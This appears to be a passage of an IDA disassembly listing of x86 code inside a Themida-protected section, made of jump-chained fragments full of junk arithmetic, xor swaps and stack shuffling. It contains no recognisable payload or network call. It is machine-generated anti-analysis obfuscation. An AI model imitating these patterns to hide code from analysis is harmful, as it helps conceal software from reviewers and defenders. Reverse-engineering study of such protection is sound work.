; ---------------------------------------------------------------------------


loc_55EBFF:				; CODE XREF: sub_56207C+4628j
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_56B62A
; ---------------------------------------------------------------------------


loc_55EC10:				; CODE XREF: sub_56207C+38CAj
		pop	esi
		pop	ebp
		jmp	loc_570962
; ---------------------------------------------------------------------------


loc_55EC17:				; CODE XREF: sub_56207C-1CE5j
		add	eax, 3F3256F4h
		add	eax, 0BDD2BA1Dh
		add	ebp, 389E22AFh
		sub	ebp, eax
		jmp	loc_5693D0
; ---------------------------------------------------------------------------


loc_55EC2E:				; CODE XREF: sub_56207C+E69Aj
		push	edx
		mov	edx, 70154832h
		and	ebp, edx
		pop	edx
		shl	ebp, 4
		push	edx
		mov	edx, 1480FEh
		sub	ebp, edx
		pop	edx
		mov	esi, ebp
		pop	ebp
		jmp	loc_56EA63
; ---------------------------------------------------------------------------


loc_55EC4B:				; CODE XREF: sub_56207C+A5A5j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+22h+var_24+2]
		pop	esp
		sub	al, 0D2h
		sub	al, bl
		jmp	loc_564F13
; ---------------------------------------------------------------------------


loc_55EC61:				; CODE XREF: sub_56207C+10BABj
		xor	edi, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], edi
		jmp	loc_561972
; ---------------------------------------------------------------------------


loc_55EC6C:				; CODE XREF: sub_56207C+EBEDj
		add	eax, 4CD77A2h
		jmp	loc_562ACA
; ---------------------------------------------------------------------------


loc_55EC76:				; CODE XREF: sub_56207C+8BF2j
		and	edi, 3D4746C2h
		jmp	loc_568E98
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55EC81	proc near		; DATA XREF: Themida_:0055E168o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	1FDFh
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_568950
sub_55EC81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55ECA4:				; CODE XREF: sub_56207C-29D9j
		sub	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		jmp	loc_562AE4
; ---------------------------------------------------------------------------


loc_55ECB0:				; CODE XREF: sub_56207C+10C36j
		add	[esp+1Ah+var_18+2], 747951B8h
		sub	[esp+1Ah+var_18+2], 637E3A2Ah
		add	[esp+1Ah+var_18+2], 4CD0274h
		sub	[esp+1Ah+var_18+2], eax
		sub	[esp+1Ah+var_18+2], 4CD0274h
		push	eax
		mov	eax, 637E3A2Ah
		add	[esp+1Eh+var_18+2], eax
		pop	eax
		sub	[esp+1Ah+var_18+2], 747951B8h
		push	[esp+1Ah+var_1C+2]
		pop	eax
		add	esp, 4
		mov	ecx, [esp+16h+var_18+2]
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebp
		xor	ebp, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		push	eax
		mov	eax, 0A4A3928h
		add	ecx, eax
		pop	eax
		jmp	loc_560A3E
; ---------------------------------------------------------------------------


loc_55ED31:				; CODE XREF: sub_56207C+82D2j
		mov	ecx, 67113E02h
		add	ecx, 1
		sub	ecx, 1C1050FCh
		jmp	loc_569F13
; ---------------------------------------------------------------------------


loc_55ED47:				; CODE XREF: sub_56207C+10C69j
		pop	ebx
		add	dh, ch
		mov	ecx, [esp+16h+var_18+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5696FC
; ---------------------------------------------------------------------------


loc_55ED5E:				; CODE XREF: sub_56207C+DB4Bj
		mov	bl, 29h
		jmp	loc_56B5DD
; ---------------------------------------------------------------------------


loc_55ED65:				; CODE XREF: sub_56207C+3D79j
		mov	eax, 12F14574h
		sub	eax, 261F339Ch
		or	eax, 25A10464h
		shr	eax, 1
		jmp	loc_56F8D6
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55ED7B	proc near		; CODE XREF: sub_56207C+FFC8j
		push	ebx
		mov	bl, 0F2h
		shr	bl, 5
		add	bl, 28h
		push	eax
		mov	ah, bl
		push	ebx
		mov	bh, ah
		jmp	loc_56AA9F
sub_55ED7B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55ED8F:				; CODE XREF: sub_56207C+95E2j
		pop	esp
		pop	dword ptr [edi+20h]
		push	ebx
		mov	ebx, 3FA8489Fh
		jmp	loc_566E16
; ---------------------------------------------------------------------------


loc_55ED9E:				; CODE XREF: sub_56207C+4BC6j
		xor	ecx, 62B54B67h
		push	601Dh
		mov	[esp+1Ah+var_1C+2], ecx
		pop	edx
		pop	ecx
		xor	[esp+12h+var_10+2], edx
		mov	edx, [esp+12h+var_14+2]
		sub	esp, 4
		jmp	loc_56E6F6
; ---------------------------------------------------------------------------


loc_55EDBD:				; CODE XREF: sub_56207C+1101Cj
		sub	eax, 625A59F5h
		jmp	loc_56448E
; ---------------------------------------------------------------------------


loc_55EDC7:				; CODE XREF: sub_56207C+6D73j
		pop	esp
		add	esp, 4
		jmp	loc_55E3C3
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55EDD0:				; DATA XREF: Themida_:0055E2D0o
		mov	cx, [esp]
		push	3635h
		mov	[esp], ebp
		jmp	loc_572B30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EDE1:				; CODE XREF: sub_56207C+1985j
		mov	edx, eax
		pop	eax
		jmp	loc_56CC2F
; ---------------------------------------------------------------------------


loc_55EDE9:				; CODE XREF: sub_56207C+919Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_55F0EB
; ---------------------------------------------------------------------------


loc_55EDF6:				; CODE XREF: sub_56207C+3437j
		add	esi, 0EE27EBFh
		pop	edx
		xor	esi, [esp+6+var_8+2]
		jmp	loc_56FC11
; ---------------------------------------------------------------------------


loc_55EE05:				; CODE XREF: sub_56207C+7DC2j
		add	eax, ebx
		jmp	loc_5693F8
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55EE0C:				; DATA XREF: Themida_:0055E15Co
		lodsb
		xor	al, bl
		push	ecx
		push	ebx
		mov	bh, 7Ah
		jmp	loc_56C18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EE18:				; CODE XREF: sub_56207C+FEEAj
		add	bl, ah
		pop	eax
		inc	bl
		push	edx
		mov	dh, 73h
		shl	dh, 1
		sub	dh, 8Bh
		or	bl, dh
		jmp	loc_565BCD
; ---------------------------------------------------------------------------


loc_55EE2C:				; CODE XREF: sub_56207C+F94Dj
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		jmp	loc_562A04
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55EE40	proc near		; CODE XREF: sub_56207C+7532j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	6DAh
		mov	[esp+8+var_8], esi
		mov	esi, 6BBE0C52h
		jmp	loc_56E89C
sub_55EE40	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55FBBE


loc_55EE5B:				; CODE XREF: sub_55FBBE+1j
		mov	ebx, 62D85E4Bh
		jmp	loc_562CC0
; END OF FUNCTION CHUNK	FOR sub_55FBBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EE65:				; CODE XREF: sub_56207C-1583j
		add	ebx, 1
		push	ebp
		mov	ebp, 40547D1h
		xor	ebp, 28CC6A42h
		jmp	loc_563597
; ---------------------------------------------------------------------------


loc_55EE79:				; CODE XREF: sub_56207C+ED06j
		sub	ebx, 186212DCh
		pop	eax
		sub	edx, 27CB7FF2h
		add	edx, 5BC025EEh
		sub	edx, eax
		jmp	loc_5721FD
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55EE93	proc near		; CODE XREF: sub_56207C-385Cj
		push	ebx
		mov	ebx, 54553586h
		mov	edx, 2AE43F79h
		add	edx, ebx
		pop	ebx
		neg	edx
		sub	edx, 140E0C79h
		shr	edx, 3
		jmp	loc_569EB1
sub_55EE93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EEB1:				; CODE XREF: sub_56207C-38E8j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_568D3C
; ---------------------------------------------------------------------------


loc_55EEC2:				; CODE XREF: sub_56207C-3BADj
		mov	[esp+28h+var_28], esp
		add	[esp+28h+var_28], 4
		pop	edi
		add	edi, 4
		jmp	loc_56A94D
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55EED5	proc near		; DATA XREF: Themida_:0055E18Co
		mov	ax, [esp+0]
		push	2D4Ah
		jmp	loc_57232B
sub_55EED5	endp


; =============== S U B	R O U T	I N E =======================================



sub_55EEE3	proc near		; DATA XREF: Themida_:0055E374o
		mov	ax, fs:[edx]
		jmp	loc_56E679
sub_55EEE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_55EEEC	proc near		; DATA XREF: Themida_:0055E378o

var_8		= dword	ptr -8

		lodsd
		push	ebp
		mov	ebp, 33DB5712h
		push	65DFh
		mov	[esp+8+var_8], ecx
		mov	ecx, 531B5F06h
		add	eax, ecx
		pop	ecx
		sub	eax, ebp
		push	esi
		jmp	loc_56B0CD
sub_55EEEC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EF0B:				; CODE XREF: sub_56207C-AB8j
		add	ebx, ecx
		pop	ecx
		push	4A4Dh
		mov	[esp+24h+var_24], ebp
		mov	ebp, 25E33268h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_572DCA
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55EF23	proc near		; CODE XREF: sub_56207C+1807j
		sub	esp, 4
		jmp	loc_56D29C
sub_55EF23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55EF2E:				; CODE XREF: sub_56207C+10361j
		add	esp, 4
		mov	ebx, [esp+1Ch+var_1C]
		push	ecx
		jmp	loc_570A76
; ---------------------------------------------------------------------------


loc_55EF3D:				; CODE XREF: sub_56207C+1120Aj
		push	edi
		mov	edi, 54FD726Ch
		jmp	loc_56A39A
; ---------------------------------------------------------------------------


loc_55EF48:				; CODE XREF: sub_56207C+8B59j
		add	edx, 4
		push	edx
		push	[esp+28h+var_24]
		pop	edx
		jmp	loc_56A5E3
; ---------------------------------------------------------------------------


loc_55EF56:				; CODE XREF: sub_56207C-367j
		pop	edx
		add	ebp, edi
		add	ebp, 231C6B9Bh
		jmp	loc_573544
; ---------------------------------------------------------------------------


loc_55EF64:				; CODE XREF: sub_56207C-936j
		sub	eax, 4
		sub	esp, 4
		mov	[esp+28h+var_28], eax
		jmp	loc_569D3E
; ---------------------------------------------------------------------------


loc_55EF72:				; CODE XREF: sub_56207C+984Cj
		xor	ebp, [esp+28h+var_28]
		xor	[esp+28h+var_28], ebp
		xor	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		push	eax
		jmp	loc_56176F
; ---------------------------------------------------------------------------


loc_55EF84:				; CODE XREF: sub_56207C+B6CBj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+2Ch+var_2C]
		xor	[esp+2Ch+var_2C], esi
		xor	esi, [esp+2Ch+var_2C]
		jmp	loc_56899D
; ---------------------------------------------------------------------------


loc_55EF9B:				; CODE XREF: sub_56207C+A54Fj
		add	edx, ecx
		push	[esp+2Ch+var_2C]
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp+34h+var_34]
		jmp	loc_5666A9
; ---------------------------------------------------------------------------


loc_55EFB9:				; CODE XREF: sub_56207C+54F4j
		mov	eax, 362E3CF0h
		add	ecx, eax
		pop	eax
		add	ecx, 775250CBh
		pop	eax
		sub	ecx, 4
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		push	[esp+30h+var_2C]
		mov	ecx, [esp+34h+var_34]
		add	esp, 4
		pop	[esp+30h+var_30]
		pop	esp
		mov	[esp+28h+var_28], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55EFE7:				; CODE XREF: sub_56207C+83DEj
		sub	eax, 14E56090h
		mov	ebp, [esp+28h+var_28]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		mov	ecx, 10457D72h
		jmp	loc_5618BA
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F005	proc near		; DATA XREF: Themida_:0055E200o

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 400h
		or	[edi+1Ch], ebx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_56E0FC
sub_55F005	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F01F:				; CODE XREF: sub_56207C+9D54j
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		mov	edx, esi
		pop	esi
		pop	eax
		push	8BF2B3F3h
		mov	ebx, [esp+28h+var_28]
		add	esp, 4
		push	esi
		push	edx
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		mov	ecx, 1B076A9Ah
		xor	ecx, 3C801229h
		jmp	loc_55FD9D
; ---------------------------------------------------------------------------


loc_55F04C:				; CODE XREF: sub_56207C-1A51j
		xchg	edx, esi
		push	eax
		mov	eax, 0C37DB494h
		sub	esi, eax
		pop	eax
		add	ebx, 24AD5624h
		add	ebx, esi
		sub	ebx, 24AD5624h
		pop	esi
		xchg	ebx, [esp+2Ch+var_2C]
		pop	esp
		xchg	esi, [esp+28h+var_28]
		jmp	loc_56BA99
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55F072:				; CODE XREF: Themida_:0055F150j
		mov	eax, 738351D0h
		xor	eax, 3EF347F4h
		inc	eax
		jmp	loc_56B39E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F082:				; CODE XREF: sub_56207C+DBF4j
		pop	eax
		xor	ebp, 13DC06B2h
		xor	ebp, 0D2EC806Eh
		jmp	loc_5708E4
; ---------------------------------------------------------------------------


loc_55F094:				; CODE XREF: sub_56207C+925Cj
		xor	[esp+24h+var_24], esi
		not	esi
		jmp	loc_56C499
; ---------------------------------------------------------------------------


loc_55F09E:				; CODE XREF: sub_56207C+611Bj
		push	edx
		push	ecx
		mov	cx, 6305h
		and	cx, 67A9h
		inc	cx
		xor	cx, 7DBFh
		mov	dx, cx
		jmp	loc_56B8CD
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F0B8	proc near		; DATA XREF: Themida_:0055E140o

var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= word ptr -2

		push	small 2E7Bh
		mov	[esp+2+var_2], ax
		push	small word ptr [esp+2]
		mov	ax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_562928
sub_55F0B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F0D7:				; CODE XREF: sub_56207C+18F8j
		and	ebx, 34709E2h
		jmp	loc_564930
; ---------------------------------------------------------------------------


loc_55F0E2:				; CODE XREF: sub_56207C+6721j
		mov	word ptr [esp+2Ch+var_2C], ax
		jmp	loc_56E9E2
; ---------------------------------------------------------------------------


loc_55F0EB:				; CODE XREF: sub_56207C-328Bj
		add	edx, 4
		xchg	edx, [esp+0Ah+var_C+2]
		jmp	loc_570372
; ---------------------------------------------------------------------------


loc_55F0F6:				; CODE XREF: sub_56207C+8B17j
		push	5D1Bh
		mov	[esp+0Eh+var_10+2], esi
		jmp	loc_56958E
; ---------------------------------------------------------------------------


loc_55F103:				; CODE XREF: sub_56207C-697j
		mov	[esp+0Eh+var_10+2], ebp
		mov	ebp, 265F55D7h
		or	ebp, 1240457Dh
		push	6C69h
		mov	[esp+12h+var_14+2], edx
		mov	edx, 1A9370B2h
		inc	edx
		jmp	loc_56F030
; ---------------------------------------------------------------------------


loc_55F124:				; CODE XREF: sub_56207C+CD13j
		add	edx, 4
		jmp	loc_56C8A1
; ---------------------------------------------------------------------------


loc_55F12F:				; CODE XREF: sub_56207C+DD66j
		sub	edi, 367325F3h
		shl	edi, 6
		jmp	loc_5657D8
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_55F072
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F155:				; CODE XREF: sub_56207C+FEFFj
		pop	eax
		add	esp, 4
		push	edx
		push	45CFh
		jmp	loc_5711B2
; ---------------------------------------------------------------------------


loc_55F164:				; CODE XREF: sub_56207C+6521j
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 340170B0h
		jmp	loc_57119C
; ---------------------------------------------------------------------------


loc_55F175:				; CODE XREF: sub_56207C+E8E1j
		push	edx
		jmp	loc_56EBEC
; ---------------------------------------------------------------------------


loc_55F17B:				; CODE XREF: sub_56207C+B691j
		pop	edi
		xor	edi, 62816EF9h
		sub	esi, edi
		pop	edi
		push	edi
		mov	edi, 3BE7356Dh
		xor	esi, edi
		pop	edi
		shl	esi, 4
		sub	esi, 0CA44D803h
		jmp	loc_562BAB
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F19C	proc near		; CODE XREF: sub_56207C+F274j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ebx
		jmp	loc_571C17
sub_55F19C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F1AB:				; CODE XREF: sub_56207C+1032Bj
		pop	edx
		pop	edx
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_56643D
; ---------------------------------------------------------------------------


loc_55F1C0:				; CODE XREF: sub_56207C+74FAj
		and	edx, 34F84D00h
		push	ebp
		mov	ebp, 6A7D08C0h
		xor	ebp, 5ABD5CDAh
		inc	ebp
		jmp	loc_566341
; ---------------------------------------------------------------------------


loc_55F1D8:				; CODE XREF: sub_56207C+30BEj
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	edi
		push	ebp
		push	5D41h
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, 1C1115F7h
		or	ecx, 51A90CF6h
		push	ebp
		mov	ebp, 40B507FBh
		sub	ebp, 6A4E1DDAh
		and	ebp, 618A18E8h
		shr	ebp, 2
		push	eax
		jmp	loc_571987
; ---------------------------------------------------------------------------


loc_55F214:				; CODE XREF: sub_56207C+471Dj
		push	[esp+1Ah+var_1C+2]
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		add	esp, 4
		push	48DCh
		mov	[esp+1Ah+var_1C+2], esi
		push	7E3h
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		jmp	loc_5702BE
; ---------------------------------------------------------------------------


loc_55F23C:				; CODE XREF: sub_56207C+3004j
		mov	ebx, ecx
		jmp	loc_56EBBB
; ---------------------------------------------------------------------------


loc_55F243:				; CODE XREF: sub_56207C+86BBj
		push	60C14BADh
		mov	ebp, [esp+22h+var_24+2]
		add	esp, 4
		push	ecx
		mov	ecx, 12701868h
		or	ebp, ecx
		pop	ecx
		jmp	loc_56B9D0
; ---------------------------------------------------------------------------


loc_55F25F:				; CODE XREF: sub_56207C+C961j
		add	ecx, 0E001508Dh
		add	eax, 67CA6ED7h
		add	eax, ecx
		sub	eax, 67CA6ED7h
		mov	ecx, [esp+1Eh+var_20+2]
		jmp	loc_562265
; ---------------------------------------------------------------------------


loc_55F279:				; CODE XREF: sub_56207C+44B7j
		pop	esp
		jmp	loc_571755
; ---------------------------------------------------------------------------


loc_55F27F:				; CODE XREF: sub_56207C+4A93j
		push	esp
		pop	[esp+1Eh+var_20+2]
		add	[esp+1Ah+var_1C+2], 4
		jmp	loc_565642
; ---------------------------------------------------------------------------


loc_55F28C:				; CODE XREF: sub_56207C+4F8Cj
		add	esp, 4
		sub	eax, 12F20E90h
		sub	eax, ebx
		push	ebp
		push	2C40h
		mov	[esp+1Eh+var_20+2], edi
		mov	edi, 463C36C6h
		jmp	loc_56FEF7
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F2AC	proc near		; CODE XREF: sub_56207C+E67Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561410 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561E46 SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edx
		push	6114h
		jmp	loc_561410
sub_55F2AC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F2C4:				; CODE XREF: sub_56207C-1F98j
		sub	ebp, edi
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_57234F
; ---------------------------------------------------------------------------


loc_55F2D4:				; CODE XREF: sub_56207C+AFD6j
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], eax
		push	ebp
		mov	ebp, 32934999h
		mov	eax, 0CD6CB669h
		jmp	loc_564994
; ---------------------------------------------------------------------------


loc_55F2F3:				; CODE XREF: sub_56207C+9EECj
		add	ecx, 461CA352h
		jmp	loc_56D4E9
; ---------------------------------------------------------------------------


loc_55F2FE:				; CODE XREF: sub_56207C+6CEDj
		mov	[esp+1Eh+var_20+2], ecx
		mov	ecx, 3E0E54A3h
		inc	ecx
		jmp	loc_56D210
; ---------------------------------------------------------------------------


loc_55F30C:				; CODE XREF: sub_56207C+DF2Ej
		push	esi
		mov	esi, 2A6D5712h
		jmp	loc_564A9D
; ---------------------------------------------------------------------------


loc_55F317:				; CODE XREF: sub_56207C-1BEEj
		push	ecx
		jmp	loc_56D55F
; ---------------------------------------------------------------------------


loc_55F31D:				; CODE XREF: sub_56207C+DC29j
		push	esi
		mov	esi, 15C88C84h
		xor	eax, esi
		jmp	loc_56D1D2
; ---------------------------------------------------------------------------


loc_55F32A:				; CODE XREF: sub_56207C+B064j
		mov	esi, 70274DB4h
		mov	eax, esi
		pop	esi
		neg	eax
		shr	eax, 5
		sub	eax, 47EC58Eh
		sub	esi, 121B2931h
		add	esi, eax
		jmp	loc_569B34
; ---------------------------------------------------------------------------


loc_55F349:				; CODE XREF: sub_56207C+FB27j
		pop	ebp
		jmp	loc_569EA6
; ---------------------------------------------------------------------------


loc_55F34F:				; CODE XREF: sub_56207C+8416j
		mov	eax, edi
		pop	edi
		sub	esi, eax
		pop	eax
		mov	ebx, esi
		jmp	loc_565DCA
; ---------------------------------------------------------------------------


loc_55F35C:				; CODE XREF: sub_56207C+857Aj
		mov	ah, 3Eh
		neg	ah
		shr	ah, 3
		sub	ah, 33h
		sub	ah, 1
		push	7DCEh
		jmp	loc_571EA9
; ---------------------------------------------------------------------------


loc_55F373:				; CODE XREF: sub_56207C+18Cj
		mov	edi, 3DE06DE3h
		push	ebx
		push	ecx
		mov	ecx, 6B5A763Fh
		mov	ebx, 74450C06h
		jmp	loc_571D15
; ---------------------------------------------------------------------------


loc_55F389:				; CODE XREF: sub_56207C+A78Ej
		shl	edi, 3
		xor	edi, 735A6562h
		and	edi, 6E2540A7h
		xor	edi, 6A004086h
		add	edx, edi
		pop	edi
		xchg	edx, [esp+22h+var_24+2]
		jmp	loc_563EFE
; ---------------------------------------------------------------------------


loc_55F3A9:				; CODE XREF: sub_56207C+A672j
		add	esp, 4
		pop	eax
		push	esi
		jmp	loc_56DAF6
; ---------------------------------------------------------------------------


loc_55F3B6:				; CODE XREF: sub_56207C+F42Ej
		sub	edx, 3B495E04h
		or	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, 1BA97369h
		neg	eax
		shr	eax, 8
		and	eax, 4AA42B0Ah
		jmp	loc_5600FC
; ---------------------------------------------------------------------------


loc_55F3DC:				; CODE XREF: sub_56207C+C7DDj
		push	ecx
		mov	ecx, 6F4E7F16h
		and	ecx, 4AF537EBh
		inc	ecx
		dec	ecx
		jmp	loc_565F14
; ---------------------------------------------------------------------------


loc_55F3EF:				; CODE XREF: sub_56207C+B74Cj
		or	ebx, eax
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		push	6AD3h
		jmp	loc_56BE53
; ---------------------------------------------------------------------------


loc_55F404:				; CODE XREF: sub_56207C+7C38j
		inc	edx
		sub	edx, 0C6C3C56Fh
		add	eax, edx
		pop	edx
		add	edi, 0E977E1Bh
		add	edi, eax
		sub	edi, 0E977E1Bh
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		push	edx
		jmp	loc_572B3B
; ---------------------------------------------------------------------------


loc_55F42B:				; CODE XREF: sub_56207C+3B71j
		neg	dx
		jmp	loc_56620E
; ---------------------------------------------------------------------------


loc_55F433:				; CODE XREF: sub_56207C+FE9Aj
		mov	esi, 4
		jmp	loc_561D93
; ---------------------------------------------------------------------------


loc_55F43D:				; CODE XREF: sub_56207C+24BFj
		pop	edx
		add	ebp, ebx
		jmp	loc_564E10
; ---------------------------------------------------------------------------


loc_55F445:				; CODE XREF: sub_56207C+B135j
		pop	ebx
		sub	[esp+16h+var_14+2], 6D6D1369h
		add	[esp+16h+var_14+2], ebx
		add	[esp+16h+var_14+2], 6D6D1369h
		jmp	loc_56AFC0
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F45F	proc near		; CODE XREF: sub_56207C-49Bj
		push	ebp
		mov	ebp, 4
		jmp	loc_5687CE
sub_55F45F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F46A:				; CODE XREF: sub_56207C+E881j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55F46F:				; CODE XREF: sub_56207C+CDFBj
		add	esp, 4
		push	eax
		add	[esp+16h+var_18+2], 3C9931FCh
		pop	ecx
		jmp	loc_5639E7
; ---------------------------------------------------------------------------


loc_55F480:				; CODE XREF: sub_56207C+31C3j
		dec	edi
		sub	edi, 25711033h
		jmp	loc_5677E6
; ---------------------------------------------------------------------------


loc_55F48C:				; CODE XREF: sub_56207C-3943j
		xor	esi, [esp+10h+var_10]
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		push	eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55F4A2:				; CODE XREF: sub_56207C+3186j
		pop	ebx
		jmp	loc_571F8A
; ---------------------------------------------------------------------------


loc_55F4A8:				; CODE XREF: sub_56207C+6F33j
		jmp	loc_56673B
; ---------------------------------------------------------------------------


loc_55F4AD:				; CODE XREF: sub_56207C+CF4Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	edx
		mov	edx, 69E14C0Eh
		shl	edx, 3
		not	edx
		or	edx, 48490E7Ah
		inc	edx
		add	edx, 7026004h
		mov	ebp, edx
		jmp	loc_56C626
; ---------------------------------------------------------------------------


loc_55F4D6:				; CODE XREF: sub_56207C+E2B0j
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E6DA
; ---------------------------------------------------------------------------


loc_55F4EB:				; CODE XREF: sub_56207C+5456j
		xchg	ebx, [esp+20h+var_20]
		jmp	loc_56C1CB
; ---------------------------------------------------------------------------


loc_55F4F3:				; CODE XREF: sub_56207C+9610j
		mov	[esp+20h+var_20], edx
		push	edi
		mov	edi, 334025A3h
		jmp	loc_561B90
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F501	proc near		; CODE XREF: sub_56207C+D27Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F921 SIZE 00000018 BYTES

		push	ebp
		jmp	loc_55F921
sub_55F501	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F507:				; CODE XREF: sub_56207C-2677j
		add	esp, 4
		push	6C47h
		mov	[esp+24h+var_24], ebp
		jmp	loc_562288
; ---------------------------------------------------------------------------


loc_55F51A:				; CODE XREF: sub_56207C+3A3Fj
		mov	esi, 4BC11F4Ch
		not	esi
		and	esi, 2B9222B8h
